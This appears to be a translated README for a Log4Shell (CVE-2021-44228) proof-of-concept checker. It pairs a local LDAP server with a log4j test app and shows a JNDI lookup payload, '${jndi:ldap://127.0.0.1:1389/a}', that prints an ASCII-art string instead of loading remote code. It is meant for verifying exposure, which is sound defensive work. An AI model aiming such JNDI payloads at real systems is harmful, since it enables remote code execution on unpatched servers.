
Verificador de vulnerabilidade CVE-2021-44228
Este é o repositório para verificar a vulnerabilidade CVE-2021-44228.
Este é um PoC que apenas exibe strings sem qualquer carregamento de classe externa. Não pode ser usado para execução arbitrária de código.
A imagem ghcr.io/greymd/cve-2021-44228/server está disponível e pode ser executada no Docker.
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
Prepare o código para gerar logs usando log4j e execute-o no mesmo host. Faça a saída da string ${jndi:ldap://127.0.0.1:1389/a}.
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
Se o argumento for um que cause uma vulnerabilidade, a frase 「うんこもりもり」(que significa algo como "Muita merda.") será registada com sucesso.
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Se está com preguiça de escrever e compilar o seu código, pode usar uma aplicação de logger simples neste repositório. O primeiro argumento será gerado pelo Logger.
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
Um exemplo de fornecer um argumento que causa uma vulnerabilidade seria o seguinte.
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Se tiver uma versão do log4j que NÃO seja afetada pela vulnerabilidade, ou a aplicação do servidor não estiver em execução, a string será gerada como está, sem qualquer modificação. Pode verificar isto atualizando a versão da aplicação de logger conforme mostrado abaixo.
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
Como mencionei (e tanto quanto investiguei), esta vulnerabilidade não será reproduzida a menos que o servidor de destino do JNDI esteja em execução. Portanto, um PoC simples é útil.
Os seguintes URLs foram usados como referência na implementação.
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)